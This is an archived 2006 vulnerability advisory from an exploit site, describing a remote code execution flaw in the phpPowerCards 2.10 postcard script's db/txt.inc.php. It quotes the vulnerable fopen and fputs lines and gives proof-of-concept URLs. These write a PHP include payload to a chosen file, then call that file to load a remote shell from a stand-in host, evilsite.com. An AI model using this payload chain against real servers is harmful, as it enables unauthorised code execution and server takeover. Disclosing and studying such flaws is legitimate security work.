[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability
# Published : 2006-10-18
# Author : nuffsaid
# Previous Title : Power Phlogger <= 2.0.9 (config.inc.php3) File Include Vulnerability
# Next Title : Php AMX 0.90 (plugins/main.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: phpPowerCards 2.10
+ Vendor ............: http://www.giombetti.com/
+ Download ..........: http://lu.download.giombetti.com/phpPowerCards/phppowercards2.10.zip
+ Description .......: "phpPowerCards is a powerfull PHP based postcard script."
+ Class .............: Remote Code Execution
+ Risk ..............: High (Remote Code Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ phpPowerCards db/txt.inc.php does not initialize the $file variable before using it in the
+ fopen() function on line 10, after $file is opened it then writes several variables which
+ are also uninitialized to $file using the fputs() function. Assuming register_globals = on,
+ we can initialize these variables in a query string and then write anything to a file we
+ desire on the target box that's running phpPowerCards.
+
+ Vulnerable Code:
+ db/txt.inc.php, line(s) 10: $fp = fopen("$file","a");
+ db/txt.inc.php, line(s) 23: fputs($fp, $email[to]. "||" .$email[from]. "||" .$name[to]. "||" .$name[from]. "||" .$picture. "||" .$comment. "||" .$sessionID. "n");
+
+ Proof of Concept:
+ http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&email[to]=[evil code]
+ http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&comment=[evil code]
+ ... same thing repeated for each variable in the second argument of fputs() on line 23
+
+ -> http://[target]/[path]/db/txt.inc.php?file=../evilfile.php&check=0&email[to]=+%3C%3Fphp+include%28%24evil_include%29%3B+%3F%3E+
+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------
# www.Syue.com [2006-10-18]